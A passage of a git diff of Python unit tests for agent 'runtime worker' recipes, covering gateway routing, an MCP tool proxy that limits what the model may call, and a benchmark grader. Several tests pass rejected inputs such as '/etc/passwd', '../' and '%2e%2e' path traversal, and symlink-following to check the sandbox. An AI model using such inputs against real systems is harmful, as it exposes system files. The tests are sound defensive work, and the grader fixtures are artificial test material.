test_worker_uses_native_retry_without_websocket_and_arm_config(self): + sys.path.insert(0, str(RECIPE / "e2e")) + try: + runner = load("gptr_run", RECIPE / "e2e/run.py") + finally: + sys.path.pop(0) + constructed = [] + class Researcher: + def __init__(self, **kwargs): + constructed.append(kwargs) + async def conduct_research(self): + pass + async def write_report(self, **kwargs): + return "Native report" + def get_research_sources(self): + return [] + class Manager: + def __init__(self, configs): + self.configs = configs + async def get_all_tools(self): + return [SimpleNamespace(name=n) for n in ("query", "get", "ctx_index", "memory_query")] + async def close_client(self): + pass + @asynccontextmanager + async def clients(_self): + yield + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + (root / "grader-venv/bin").mkdir(parents=True) + (root / "grader-venv/bin/python").touch() + (root / "installation-pins.json").write_bytes((RECIPE / "pins.json").read_bytes()) + args = SimpleNamespace(host_file=root / "host.json", prefix=root, run_dir=root, + model="sharedgw/gpt-6-astra-max", base_url="http://127.0.0.1:20129/v1") + modules = {"gpt_researcher": SimpleNamespace(GPTResearcher=Researcher), + "gpt_researcher.mcp.client": SimpleNamespace(MCPClientManager=Manager)} + with patch.dict(sys.modules, modules), patch.object(runner, "load_host", return_value={}), \ + patch.object(runner.importlib.metadata, "version", return_value="0.16.0"), \ + patch.object(runner, "verified_source", return_value=root), \ + patch.object(runner, "load_task", return_value=({"idx": 12, "prompt": "Original prompt"}, b"{}\n")), \ + patch.object(runner.GatewayTransport, "worker_clients", clients), patch.dict(runner.os.environ): + asyncio.run(runner.run(args, {})) + self.assertIsNone(constructed[0].get("websocket")) + cfg = json.loads((root / "config.json").read_text()) + self.assertEqual(cfg["LLM_KWARGS"]["base_url"], args.base_url) + self.assertEqual(cfg["LLM_KWARGS"]["reasoning_effort"], "max") + self.assertEqual(cfg["LLM_KWARGS"]["default_headers"]["x-omniroute-compression"], "allow-lossy") + for config in constructed[0]["mcp_configs"]: + self.assertIn("--run-dir", config["args"]) + + def test_grader_install_refuses_builds_and_retains_upstream_lock(self): + # Source oracle: uv sync --help; DRB-II@b38f360 pyproject.toml:1-12. + command = next(line for line in (RECIPE / "install.sh").read_text().splitlines() + if "uv sync --locked" in line) + for flag in ("--locked", "--no-build", "--no-install-project"): + self.assertIn(flag, command) + + def test_model_cannot_execute_fetch_or_index_host_files(self): + proxy = load("gptr_proxy", RECIPE / "mcp_proxy.py") + for name in ("ctx_execute", "ctx_execute_file", "ctx_batch_execute", "ctx_fetch_and_index"): + with self.subTest(name=name), self.assertRaises(ValueError): + proxy.scope_arguments("context-mode", name, {"url": "http://127.0.0.1:49474/mcp"}, {}) + for args in ({"path": "/etc/passwd"}, {"content": "ok", "path": "/etc/passwd"}, + {"content": "ok", "followSymlinks": True}, {"content": 42}): + with self.subTest(args=args), self.assertRaises(ValueError): + proxy.scope_arguments("context-mode", "ctx_index", args, {}) + self.assertEqual(proxy.scope_arguments("context-mode", "ctx_index", + {"content": "Public source text", "source": "research"}, {}), + {"content": "Public source text", "source": "research"}) + with tempfile.TemporaryDirectory() as tmp: + run_dir = Path(tmp).resolve() # server_config resolves it; macOS temp dirs sit under a /var symlink + host = {"ECO_ROOT": "/opt/tools", "HOST_PATH": "/usr/bin", "WORKER_CWD": "/private/checkout"} + cfg = proxy.server_config("context-mode", host, run_dir) + self.assertEqual(cfg["cwd"], str(run_dir / "mcp-work")) + self.assertEqual(cfg["env"]["CONTEXT_MODE_PROJECT_DIR"], cfg["cwd"]) + self.assertEqual(cfg["env"]["CONTEXT_MODE_DIR"], str(run_dir / "context-mode")) + self.assertEqual(cfg["env"]["HOME"], str(run_dir / "home")) + self.assertNotIn("/private/checkout", json.dumps(cfg)) + + def test_arm_routes_are_explicit_and_judge_stays_on_control(self): + gateway = load("gptr_gateway", RECIPE / "gateway.py") + control = gateway.select_routes({}) + engines = gateway.select_routes({"RUNTIME_WORKER_ARM": "engines-on"}) + self.assertEqual(control["worker"]["base_url"], "http://127.0.0.1:20128/v1") + self.assertEqual(control["worker"]["model"], "cx/gpt-6-astra-max") + self.assertEqual(engines["worker"]["base_url"], "http://127.0.0.1:20129/v1") + self.assertEqual(engines["worker"]["model"], "sharedgw/gpt-6-astra-max") + self.assertEqual(engines["judge"], control["judge"]) + for selection in (control, engines): + route = selection["worker"] + transport = gateway.GatewayTransport("conversation", **route) + request = SimpleNamespace(url=route["base_url"] + "/responses", headers={}, + content=json.dumps({"model": route["model"]}).encode()) + transport.request_hook(request) + self.assertEqual("x-omniroute-compression" in request.headers, selection["arm"] == "engines-on") + if selection["arm"] == "engines-on": + self.assertEqual(request.headers["x-omniroute-compression"], "allow-lossy") + request.url = control["judge"]["base_url"] + "/responses" if selection["arm"] == "engines-on" else "https://example.invalid/responses" + with self.assertRaises(ValueError): + transport.request_hook(request) + self.assertEqual(gateway.select_routes({"GPTR_MODEL": "cx/gpt-6-sol-medium"})["worker"]["model"], + "cx/gpt-6-sol-medium") + for model in ("cx/gpt-6.1-sol", "cx/gpt-6.1-sol-max"): + with self.subTest(model=model): + selection = gateway.select_routes({"GPTR_MODEL": model}) + self.assertEqual(selection["worker"]["model"], model) + self.assertEqual(selection["judge"], control["judge"]) + config = gateway.render_config({"LLM_KWARGS": {}}, selection["worker"], "conversation") + for role in ("FAST_LLM", "SMART_LLM", "STRATEGIC_LLM"): + self.assertEqual(config[role], "openai:" + model) + self.assertEqual(config["LLM_KWARGS"]["reasoning_effort"], "max") + transport = gateway.GatewayTransport("conversation", **selection["worker"]) + payload = {"model": model, "reasoning_effort": "max"} + request = SimpleNamespace(url=selection["worker"]["base_url"] + "/responses", headers={}, + content=json.dumps(payload).encode()) + transport.request_hook(request) + self.assertEqual(json.loads(request.content), payload) + self.assertNotIn("x-omniroute-compression", request.headers) + for env in ({"RUNTIME_WORKER_ARM": "other"}, {"GPTR_MODEL": "sharedgw/cx/gpt-6-astra-max"}, + {"GPTR_MODEL": "sharedgw/gpt-6-astra-max"}, + {"RUNTIME_WORKER_ARM": "engines-on", "GPTR_MODEL": "cx/gpt-6-astra-max"}, + {"GPTR_JUDGE_BASE_URL": "http://127.0.0.1:20129/v1"}, + {"GPTR_BASE_URL": "https://example.invalid/v1"}, + {"GPTR_MODEL": "cx/gpt-6-unknown-max"}, + {"GPTR_MODEL": "cx/gpt-6.1-sol-unknown"}, + {"GPTR_MODEL": "claude-opus-5-5"}): + with self.subTest(env=env), self.assertRaises(ValueError): + gateway.select_routes(env) + + def test_nested_max_survives_worker_client_configuration_and_oracle_controls(self): + gateway = load("gptr_nested_max", RECIPE / "gateway.py") + + class Provider: + @classmethod + def from_provider(cls, provider, **kwargs): + return kwargs + + def assert_nested_max(fields): + self.assertEqual(fields.get("extra_body", {}).get("reasoning"), {"effort": "max"}) + + clients = SimpleNamespace(Client=lambda **kwargs: nullcontext(object()), + AsyncClient=lambda **kwargs: nullcontext(object())) + for model in ("cx/gpt-6.1-sol", "cx/gpt-6.1-sol-max"): + with self.subTest(model=model): + route = gateway.select_routes({"GPTR_MODEL": model})["worker"] + config = gateway.render_config({"LLM_KWARGS": {}}, route, "conversation") + assert_nested_max(config["LLM_KWARGS"]) + transport = gateway.GatewayTransport("conversation", **route) + + async def construct(): + async with transport.worker_clients(): + return Provider.from_provider("openai", model=model, **config["LLM_KWARGS"]) + + with patch.dict(sys.modules, { + "httpx": clients, + "gpt_researcher.llm_provider.generic.base": SimpleNamespace(GenericLLMProvider=Provider), + }): + fields = asyncio.run(construct()) + assert_nested_max(fields) + self.assertEqual(fields["model"], model) + self.assertEqual(fields["reasoning_effort"], "max") + self.assertEqual(fields["base_url"], "http://127.0.0.1:20128/v1") + self.assertNotIn("x-omniroute-compression", fields["default_headers"]) + for bad_body in (None, {}, {"reasoning": {}}, {"reasoning": {"effort": "high"}}, + {"reasoning": {"effort": "xhigh"}}): + invalid = dict(fields) + if bad_body is None: + invalid.pop("extra_body") + else: + invalid["extra_body"] = bad_body + with self.subTest(bad_body=bad_body), self.assertRaises(AssertionError): + assert_nested_max(invalid) + + def test_recipe_contract_and_empty_result(self): + for name in ("README.md", "install.sh", "run-e2e.sh", "config.template.json", + "mcp-policy.json", "pins.json", "e2e/check.py", "e2e/task.json", + "e2e/receipt.py", "requirements.lock"): + self.assertTrue((RECIPE / name).is_file(), name) + cfg = json.loads((RECIPE / "config.template.json").read_text()) + self.assertEqual(cfg["LLM_KWARGS"]["base_url"], "http://127.0.0.1:20128/v1") + self.assertEqual(cfg["LLM_KWARGS"]["api_key"], "local-loopback") + self.assertIsNone(cfg["LLM_KWARGS"]["temperature"]) + self.assertTrue(cfg["LLM_KWARGS"]["use_responses_api"]) + self.assertEqual(cfg["CONTEXT_FILTER"], "keyword") + self.assertEqual(cfg["RETRIEVER"], "duckduckgo") + for role in ("FAST_LLM", "SMART_LLM", "STRATEGIC_LLM"): + self.assertEqual(cfg[role], "openai:${GPTR_MODEL}") + runner = (RECIPE / "run-e2e.sh").read_text() + self.assertIn('dispatch.py" run --mode e2e', runner) + self.assertIn("set -euo pipefail", runner) + installer = (RECIPE / "install.sh").read_text() + self.assertIn("set -euo pipefail", installer) + self.assertIn("--require-hashes", installer) + policy = json.loads((RECIPE / "mcp-policy.json").read_text()) + self.assertTrue({"ctx_upgrade", "ctx_purge", "ctx_execute", "ctx_execute_file", "ctx_batch_execute", + "ctx_fetch_and_index"} <= set(policy["servers"]["context-mode"]["disabled_tools"])) + self.assertEqual(policy["servers"]["ai-memory"]["enabled_tools"], + ["memory_query", "memory_read_page", "memory_recent", + "memory_status", "memory_briefing"]) + self.assertEqual(policy["servers"]["socraticode"]["enabled_tools"], + ["codebase_search", "codebase_status", "codebase_list_projects", "codebase_health"]) + self.assertEqual(policy["servers"]["socraticode"]["env"]["SOCRATICODE_WATCHER"], "manual") + self.assertEqual(policy["servers"]["headroom"]["enabled_tools"], + ["headroom_compress", "headroom_retrieve", "headroom_stats"]) + self.assertEqual(policy["servers"]["qmd"]["collections"], + ["foundation-docs", "foundation-adoption", "us-equities-foundation", "us-equities-catalog"]) + # A policy file alone is not enforcement; direct unfiltered MCP is disabled. + self.assertEqual(cfg["MCP_SERVERS"], []) + self.assertFalse(policy["direct_servers_enabled"]) + for path in RECIPE.rglob("*"): + if ".research" in path.parts: + continue + if path.is_file() and path.suffix in {".sh", ".py", ".json", ".toml"}: + data = path.read_text() + self.assertNotIn("0.0.0.0", data, str(path)) + self.assertNotRegex(data, r"sk-[A-Za-z0-9]{20,}", str(path)) + self.assertNotRegex(data, r"(?i)reasoning_effort[\"']?\s*[:=]\s*[\"']auto", str(path)) + with tempfile.TemporaryDirectory() as tmp: + result = Path(tmp) / "result.json" + result.write_text("{}") + checked = subprocess.run([sys.executable, str(RECIPE / "e2e/check.py"), str(result)], + capture_output=True, text=True) + self.assertEqual(checked.returncode, 1, checked.stdout + checked.stderr) + sanity = json.loads(checked.stdout) + self.assertFalse(sanity["ready_for_grading"]) + self.assertNotIn("passed", sanity) + self.assertIn("empty_report", sanity["errors"]) + + def test_report_transport_controls_do_not_grade_content(self): + checker = load("gptr_check", RECIPE / "e2e/check.py") + # A valid report and an obviously wrong report both reach the UPSTREAM + # grader unchanged. Transport success must never become a quality pass. + for report in ("# Report\nAn evidence-bearing answer.\n", "The moon is cheese.\n"): + with self.subTest(report=report), tempfile.TemporaryDirectory() as tmp: + result = {"report": report} + self.assertTrue(checker.check(result)["ready_for_grading"]) + self.assertNotIn("passed", checker.check(result)) + destination = Path(tmp) / "idx-12.md" + checker.export_report(result, destination) + self.assertEqual(destination.read_bytes(), report.encode("utf-8")) + for result in ({}, {"report": " \n"}, {"report": None}, {"report": 7}, [], None): + with self.subTest(result=result): + self.assertFalse(checker.check(result)["ready_for_grading"]) + + def test_graded_report_binding_rejects_replaced_and_mismatched_exports(self): + grader = load("gptr_grader", RECIPE / "e2e/grader.py") + report = b"Original worker report\n" + expected = hashlib.sha256(report).hexdigest() + with tempfile.TemporaryDirectory() as tmp: + run_dir = Path(tmp) + exported = run_dir / "frozen-reports/gptr/idx-12.md" + exported.parent.mkdir(parents=True) + (run_dir / "report.md").write_bytes(report) + exported.write_bytes(report) + self.assertEqual(grader.read_report(run_dir, 12, expected), report) + exported.write_bytes(b"Changed report\n") + with self.assertRaises(ValueError): + grader.read_report(run_dir, 12, expected) + (run_dir / "report.md").write_bytes(b"Changed report\n") + with self.assertRaises(ValueError): + grader.read_report(run_dir, 12, expected) + + def test_upstream_grade_controls_preserve_scores_and_reject_malformed_output(self): + grader = load("gptr_grader", RECIPE / "e2e/grader.py") + task = {"idx": 12, "content": {"task": "Frozen control", "rubric": { + "info_recall": ["Fact"], "analysis": ["Analysis"], "presentation": ["Presentation"]}}} + for score in (1, 0, -1): + row = {"model": "gptr", "idx": 12, "result": {"task": "Frozen control", "scores": { + dimension: {item: {"score": score, "reason": "Control", "evidence": ""}} + for dimension, (item,) in task["content"]["rubric"].items()}}} + with self.subTest(score=score): + self.assertEqual(grader.validate_grade([row], task), row["result"]) + self.assertNotIn("passed", grader.validate_grade([row], task)) + for bad in ([], [row, row], [{"model": "gptr", "idx": 12, "result": {"error": "batch failed"}}], + [{**row, "idx": 13}], [{**row, "model": "wrong-arm"}], [None]): + with self.subTest(bad=bad), self.assertRaises(ValueError): + grader.validate_grade(bad, task) + for replacement in ({"score": 2}, {"score": True}, {"score": 1, "reason": [], "evidence": ""}): + bad = copy.deepcopy(row) + bad["result"]["scores"]["info_recall"]["Fact"] = replacement + with self.subTest(replacement=replacement), self.assertRaises(ValueError): + grader.validate_grade([bad], task) + bad = copy.deepcopy(row) + bad["result"]["scores"]["analysis"] = {} + with self.assertRaises(ValueError): + grader.validate_grade([bad], task) + + def test_gateway_transport_headers_and_strict_schema_controls(self): + gateway = load("gptr_gateway", RECIPE / "gateway.py") + transport = gateway.GatewayTransport("fixed-conversation") + payload = {"model": "cx/gpt-6-astra-max", "messages": [{"role": "user", "content": "Grade"}]} + first = transport.headers(payload) + second = transport.headers(payload) + self.assertEqual(first["x-omniroute-session"], "fixed-conversation") + self.assertEqual(second["x-omniroute-session"], first["x-omniroute-session"]) + self.assertNotEqual(first["Idempotency-Key"], second["Idempotency-Key"]) + # Public wire schema is copied from the upstream DRB-II prompt. + strict = {**payload, "response_format": gateway.DRB_RESPONSE_FORMAT} + self.assertTrue(transport.headers(strict)) + bad_schema = copy.deepcopy(strict) + del bad_schema["response_format"]["json_schema"]["schema"]["properties"]["results"]["items"]["additionalProperties"] + for bad in ({**payload, "model": "claude-opus-5-5"}, + {**payload, "model": "openai/gpt-5"}, + {**payload, "temperature": 0.1}, + {**payload, "temperature": float("nan")}, + {**payload, "response_format": {"type": "json_object"}}, bad_schema): + with self.subTest(bad=bad), self.assertRaises(ValueError): + transport.headers(bad) + self.assertTrue(transport.headers({**payload, "tools": [{"type": "function"}]})) + calls = [] + def sender(url, **kwargs): + calls.append((url, kwargs)) + return SimpleNamespace(headers={}, text="native response") + post = transport.grader_post(sender) + self.assertEqual(post(gateway.CHAT_URL, headers={"Authorization": "Bearer local-loopback"}, + json=payload, timeout=600, stream=False).text, "native response") + self.assertEqual(calls[0][1]["json"]["messages"], payload["messages"]) + self.assertEqual(calls[0][1]["json"]["response_format"], gateway.DRB_RESPONSE_FORMAT) + self.assertNotIn("temperature", calls[0][1]["json"]) + self.assertIn("Idempotency-Key", calls[0][1]["headers"]) + with self.assertRaises(ValueError): + post("https://example.invalid/v1/chat/completions", json=payload) + + def test_frozen_task_rejects_changed_bytes_and_recipe_wires_native_grader(self): + grader = load("gptr_grader", RECIPE / "e2e/grader.py") + data = b'{"idx":12,"prompt":"Frozen upstream prompt","content":{"task":"Frozen"}}\n' + selection = {"idx": 12, "row_sha256": hashlib.sha256(data).hexdigest(), + "prompt_sha256": hashlib.sha256(b"Frozen upstream prompt").hexdigest()} + with tempfile.TemporaryDirectory() as tmp: + source = Path(tmp) / "tasks_and_rubrics.jsonl" + source.write_bytes(data) + task, row = grader.load_task(source, selection) + self.assertEqual(task["prompt"], "Frozen upstream prompt") + self.assertEqual(row, data) + source.write_bytes(data.replace(b"Frozen", b"Changed")) + with self.assertRaises(ValueError): + grader.load_task(source, selection) + source.write_bytes(data + data) + with self.assertRaises(ValueError): + grader.load_task(source, selection) + pins = json.loads((RECIPE / "pins.json").read_text()) + self.assertEqual(pins["grader"]["commit"], "b38f360603db9531b102aef8c166cedb8509b6f6") + self.assertEqual(pins["grader"]["runner_up_commit"], "852f4022d1f98fb707222e395405136e8f0e8d52") + self.assertIn("uv sync --locked", (RECIPE / "install.sh").read_text()) + runner = (RECIPE / "run-e2e.sh").read_text() + gateway = load("gptr_gateway", RECIPE / "gateway.py") + self.assertEqual(gateway.select_routes({})["judge"]["model"], "cx/gpt-6-astra-max") + self.assertIn("PYTHONDONTWRITEBYTECODE=1", runner) + native = (RECIPE / "e2e/run.py").read_text() + self.assertIn("worker_clients()", native) + self.assertIn("grader-venv/bin/python", native) + + def test_mcp_policy_enforces_calls_and_collection_arguments(self): + proxy = load("gptr_proxy", RECIPE / "mcp_proxy.py") + host = {"MEMORY_PROJECT": "synthetic-project", "MEMORY_WORKSPACE": "synthetic-workspace"} + for server, tool in [("context-mode", "ctx_upgrade"), ("context-mode", "ctx_purge"), + ("ai-memory", "memory_write_page"), ("qmd", "multi_get"), + ("socraticode", "codebase_search")]: + with self.subTest(server=server, tool=tool), self.assertRaises(ValueError): + proxy.scope_arguments(server, tool, {}, host) + args = proxy.scope_arguments("qmd", "query", {"query": "token practice", "limit": 100}, host) + self.assertEqual(args["collections"], ["foundation-docs", "foundation-adoption", + "us-equities-foundation", "us-equities-catalog"]) + self.assertEqual(args["searches"], [{"type": "lex", "query": "token practice"}]) + self.assertFalse(args["rerank"]) + self.assertEqual(args["limit"], 5) + with self.assertRaises(ValueError): + proxy.scope_arguments("qmd", "query", {"query": "x", "collections": ["private"]}, host) + for file in ["#abc123", "/etc/passwd", "qmd://private/doc.md", "qmd://foundation-docs/../x", + "qmd://foundation-docs/%2e%2e/x", "qmd://foundation-docs/*"]: + with self.subTest(file=file), self.assertRaises(ValueError): + proxy.scope_arguments("qmd", "get", {"file": file}, host) + self.assertEqual(proxy.scope_arguments("qmd", "get", + {"file": "qmd://foundation-docs/token-practice.md", "maxLines": 900}, host)["maxLines"], 120) + self.assertEqual(proxy.scope_arguments("ai-memory", "memory_query", {"project": "other"}, host)["project"], + "synthetic-project") + scoped = proxy.scope_arguments("ai-memory", "memory_query", + {"workspace": "other", "global": True, "scopes": [{"project": "other"}]}, host) + self.assertEqual(scoped["workspace"], "synthetic-workspace") + self.assertFalse(scoped["global"]) + self.assertFalse(scoped["answer"]) + self.assertNotIn("scopes", scoped) + + def test_gateway_reader_uses_only_authorized_columns_and_is_read_only(self): + # Import the public receipt helper without installing either runtime. + sys.path.insert(0, str(RECIPE / "e2e")) + try: + receipt = load("gptr_receipt", RECIPE / "e2e/receipt.py") + finally: + sys.path.pop(0) + with tempfile.TemporaryDirectory() as tmp: + db = Path(tmp) / "synthetic.sqlite" + with closing(sqlite3.connect(db)) as con: + con.execute("CREATE TABLE call_logs(timestamp TEXT,path TEXT,status INTEGER,model TEXT," + "reasoning_effort_requested TEXT,reasoning_effort_upstream TEXT,tokens_in INTEGER," + "tokens_cache_read INTEGER,tokens_reasoning INTEGER,correlation_id TEXT)") + con.execute("INSERT INTO call_logs VALUES(?,?,?,?,?,?,?,?,?,?)", + ("2026-09-27T17:20:01Z", "/v1/responses", 200, "cx/gpt-6-astra-max", None, "max", 123, 100, 20, "private")) + con.execute("INSERT INTO call_logs VALUES(?,?,?,?,?,?,?,?,?,?)", + ("2026-09-27T17:20:02Z", "/private/path", 500, "synthetic@example.invalid", None, None, None, None, None, "other")) + con.commit() + before = db.read_bytes() + rows = receipt.gateway_rows(db, "2026-09-27T17:20:00Z", "2026-09-27T17:20:03Z", "cx/gpt-6-astra-max") + self.assertEqual(rows["status"], "observed") + self.assertEqual(rows["rows"][0]["tokens_cache_read"], 100) + self.assertEqual(len(rows["rows"]), 1) # unrelated rows are excluded + self.assertEqual(set(rows["rows"][0]), set(receipt.COLUMNS)) + self.assertEqual(before, db.read_bytes()) + absent = Path(tmp) / "absent.sqlite" + self.assertEqual(receipt.gateway_rows(absent, "x", "y", "cx/gpt-6-astra-max")["status"], "unavailable") + self.assertFalse(absent.exists()) + + def test_receipt_cannot_promote_report_sanity_to_quality_verdict(self): + sys.path.insert(0, str(RECIPE / "e2e")) + try: + receipt = load("gptr_receipt", RECIPE / "e2e/receipt.py") + finally: + sys.path.pop(0) + with tempfile.TemporaryDirectory() as tmp: + run_dir = Path(tmp) + (run_dir / "result.json").write_text('{"report":"A complete-looking but ungraded report"}') + result = receipt.write_receipt(run_dir, "2026-09-27T00:00:00Z", "2026-09-27T00:01:00Z", + "cx/gpt-6-astra-max", "0.16.0", database=run_dir / "absent.sqlite") + self.assertNotIn("passed", result) + self.assertFalse(result["execution_complete"]) + self.assertEqual(result["evaluation"]["status"], "unavailable_or_malformed") + self.assertTrue(result["report_sanity"]["ready_for_grading"]) + self.assertEqual(result["skills"]["listed_at_start"], []) + self.assertEqual(result["skills"]["activation_events"], []) + (run_dir / "result.json").write_text('{"report":') + interrupted = receipt.write_receipt(run_dir, "2026-09-27T00:00:00Z", "2026-09-27T00:01:00Z", + "cx/gpt-6-astra-max", None, database=run_dir / "absent.sqlite") + self.assertFalse(interrupted["execution_complete"]) + + def test_skills_lifecycle_and_no_listener_recipe(self): + readme = (RECIPE / "README.md").read_text() + for value in ("tools/adoption/install_skills.py", "--manifest blueprints/runtime-workers/skills/manifest.json", + '--project-dir "$worker_workspace" --agent universal', "pending the skills-program PR", + "127.0.0.1:3730-3799", "rw-gpt-researcher-", + "com.native-agent-stack.owner=gpt6-omniroute-framework-integration"): + self.assertIn(value, readme) + # This SDK/stdio recipe allocates no Docker resources or listener ports. + for name in ("install.sh", "run-e2e.sh", "run-upstream-tests.sh"): + source = (RECIPE / name).read_text() + self.assertNotIn("docker ", source) + self.assertNotRegex(source, r"(?:127\.0\.0\.1|localhost):(?:37[12]\d|543[3-9]|38[01]\d)\b") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_runtime_worker_openhands.py b/tests/test_runtime_worker_openhands.py index a257142fa..96d716ef2 100644 --- a/tests/test_runtime_worker_openhands.py +++ b/tests/test_runtime_worker_openhands.py @@ -234,7 +234,7 @@ def test_environment_selection_maps_empty_compression_to_unset(self): def test_immutable_artifacts(self): pins = self.read_json("pins.json") - self.assertEqual(pins["version"], "1.49.6") + self.assertEqual(pins["version"], "1.50.0") self.assertRegex(pins["commit"], r"^[0-9a-f]{40}$") for name in ("source_archive", "uv_lock"): self.assertRegex(pins[name]["sha256"], r"^[0-9a-f]{64}$") @@ -380,9 +380,18 @@ async def agenerate(self, **kwargs): def test_runtime_model_override_and_native_tool_filter(self): helpers = load_recipe_module("recipe.py") - result = helpers.llm_config(self.read_json("config/worker.json"), "cx/gpt-6-sol-max") - self.assertEqual(result["model"], "openai/cx/gpt-6-sol-max") - self.assertEqual(result["base_url"], "http://gw:8081/v1") + for model in ("cx/gpt-6-sol-max", "cx/gpt-6.1-sol", "cx/gpt-6.1-sol-max"): + with self.subTest(model=model): + selection = helpers.environment_selection({"OPENHANDS_MODEL": model}) + self.assertEqual(selection["requested_model"], model) + self.assertEqual(selection["gateway_model"], model.removeprefix("cx/")) + self.assertEqual(selection["gateway_port"], 20128) + self.assertEqual(selection["headers"], {}) + result = helpers.llm_config(self.read_json("config/worker.json"), model) + self.assertEqual(result["model"], "openai/" + model) + self.assertEqual(result["base_url"], "http://gw:8081/v1") + self.assertEqual(result["reasoning_effort"], "max") + self.assertEqual(result["extra_headers"], {}) pattern = re.compile(helpers.tool_filter(self.read_json("config/mcp-policy.json"))) for name in ("terminal", "file_editor", "context-mode_ctx_execute", "serena_find_symbol", "qmd_query", "jcodemunch_order"): self.assertIsNotNone(pattern.fullmatch(name), name) @@ -393,9 +402,40 @@ def test_runtime_model_override_and_native_tool_filter(self): "headroom_headroom_compress", "memory_query", "qmd_query_evil"): self.assertIsNone(pattern.fullmatch(name), name) + def test_nested_max_survives_worker_configuration_and_oracle_controls(self): + helpers = load_recipe_module("recipe.py") + worker = load_recipe_module("worker.py") + + def assert_nested_max(fields): + self.assertEqual(fields.get("litellm_extra_body", {}).get("reasoning"), {"effort": "max"}) + + for arm, model in (("control", "cx/gpt-6.1-sol"), ("control", "cx/gpt-6.1-sol-max"), + ("control", "cx/gpt-6-astra-max"), ("engines-on", "sharedgw/gpt-6-astra-max")): + with self.subTest(arm=arm, model=model): + configured = helpers.llm_config(self.read_json("config/worker.json"), model, arm=arm) + assert_nested_max(configured) + fields = worker.worker_llm_config({"OPENHANDS_ARM": arm, "OPENHANDS_MODEL": model}, "dispatch-fixture") + assert_nested_max(fields) + self.assertEqual(fields["model"], "openai/" + model) + self.assertEqual(fields["reasoning_effort"], "max") + self.assertEqual(fields["base_url"], "http://gw:8081/v1") + self.assertEqual(fields["extra_headers"]["x-omniroute-session"], "dispatch-fixture") + self.assertEqual(fields["extra_headers"].get("x-omniroute-compression"), + "allow-lossy" if arm == "engines-on" else None) + for bad_body in (None, {}, {"reasoning": {}}, {"reasoning": {"effort": "high"}}, + {"reasoning": {"effort": "xhigh"}}): + invalid = dict(fields) + if bad_body is None: + invalid.pop("litellm_extra_body") + else: + invalid["litellm_extra_body"] = bad_body + with self.subTest(bad_body=bad_body), self.assertRaises(AssertionError): + assert_nested_max(invalid) + def test_gateway_rejects_non_gpt6_models_and_unsafe_structured_modes(self): helpers = load_recipe_module("recipe.py") - for model in ("claude-opus-5-5", "cx/claude-opus-5-5", "cx/gpt-5", "openai/cx/gpt-6-astra-max"): + for model in ("claude-opus-5-5", "cx/claude-opus-5-5", "cx/gpt-5", "openai/cx/gpt-6-astra-max", + "cx/gpt-6-unknown-max", "cx/gpt-6.1-sol-unknown"): with self.subTest(model=model), self.assertRaises(ValueError): helpers.llm_config(self.read_json("config/worker.json"), model) for change in ({"temperature": 0.1}, {"response_format": {"type": "json_object"}}, {"native_tool_calling": False}): @@ -511,7 +551,9 @@ def test_agent_server_image_scan_receipt_matches_the_pinned_digest(self): # is built from upstream's unchanged uv.lock, so the digest is scanned. from scripts.validate import PRIVATE_CONTENT name = "evidence/agent-server-image-grype-20260928.json" - all_pins = self.read_json("pins.json") + # Historical scan is retained against its original immutable input; + # it is not acceptance of the new 1.50.0 image. + all_pins = self.read_json("evidence/pins-1.49.6.json") pins = all_pins["image"] receipt = self.read_json(name) keys = ("ref", "platform", "manifest_sha256", "config_sha256") @@ -1620,9 +1662,10 @@ def test_netprobe_lists_are_the_plan_lists_and_import_does_no_work(self): # RFC 1035 section 4.1.1-4.1.2: one recursive A/IN question for example.com. self.assertEqual(netprobe.DNS_QUERY[2:12], bytes.fromhex("01000001000000000000")) self.assertEqual(netprobe.DNS_QUERY[12:], b"\x07example\x03com\x00\x00\x01\x00\x01") - # P3 is a documented skeleton; it is never run in phase 2. - with self.assertRaises(NotImplementedError): - netprobe.p3_control_call() + # P3 is implemented but only runs in the explicitly owned container; + # fixture/import checks never make live model calls or certify P3. + with self.assertRaises(ValueError): + netprobe.p3_control_call({}, "rw-openhands-fixture") def test_netprobe_sends_raw_targets_verbatim_and_never_records_bodies(self): netprobe = load_recipe_module("e2e/netprobe.py") @@ -2826,7 +2869,7 @@ def test_receipt_records_proxy_base_url_and_selected_compression_combo(self): **window, "base_url": "http://gw:8081/v1", "started_at": "2026-09-28T18:00:00Z", "finished_at": "2026-09-28T18:00:01Z"})) receipt = module.create_receipt(result, database=result / "absent.sqlite") - self.assertEqual(receipt["schema_version"], 6) + self.assertEqual(receipt["schema_version"], 7) self.assertEqual(receipt["base_url"], "http://gw:8081/v1") self.assertEqual(receipt["gateway_upstream"], f"http://10.0.2.2:{port}/v1") self.assertEqual(receipt["compression_combo"], combo) @@ -3102,14 +3145,22 @@ def test_preload_installs_dynamic_call_adapter_through_upstream_hook(self): from unittest.mock import MagicMock context = MagicMock() factory = MagicMock(return_value=context) + class NativeService: + async def start_goal_loop(self, *args, **kwargs): + return kwargs + async def resume_goal_loop(self, *args, **kwargs): + return kwargs modules = {"openhands.sdk": SimpleNamespace(LLM="native-llm"), - "worker": SimpleNamespace(gateway_transport=factory, capture_correlation="callback")} - with patch.dict(sys.modules, modules), patch.dict(os.environ, {"OPENHANDS_OWNED_CONTAINER": "1"}), \ + "openhands.agent_server.event_service": SimpleNamespace(EventService=NativeService), + "worker": SimpleNamespace(gateway_transport=factory, capture_correlation="callback", + register_worker_agents=MagicMock())} + with patch.dict(sys.modules, modules), patch.dict(os.environ, { + "OPENHANDS_OWNED_CONTAINER": "1", "OPENHANDS_RUN_ID": "rw-openhands-fixture"}), \ patch("atexit.register") as register: load_recipe_module("server_transport.py") factory.assert_called_once_with("native-llm", correlation_callback="callback") context.__enter__.assert_called_once() - register.assert_called_once() + self.assertEqual(register.call_count, 2) def test_duplicate_start_keeps_running_status_and_serial_lock(self): dispatch = load_recipe_module("dispatch.py") diff --git a/tools/sota-convergence/blind_checkout.py b/tools/sota-convergence/blind_checkout.py index 8d6aeb70c..d4be787a0 100644 --- a/tools/sota-convergence/blind_checkout.py +++ b/tools/sota-convergence/blind_checkout.py @@ -238,6 +238,8 @@ # value under these keys in this repository's blueprints/ that is neither a label by # rule nor listed here, so a new value is classified when it appears. LABEL_TEXT_SHA256 = frozenset({ + # DeerFlow round2-research.json selects the GAIA scorer over attachments. + "10d87d528fb095d26836485bb14032a72b9a610098570a2951eefb833ba47d82", "557291dc290010e2e286e4de20b4e72ac1f8f5583719cbb3e9364d79b0477186", 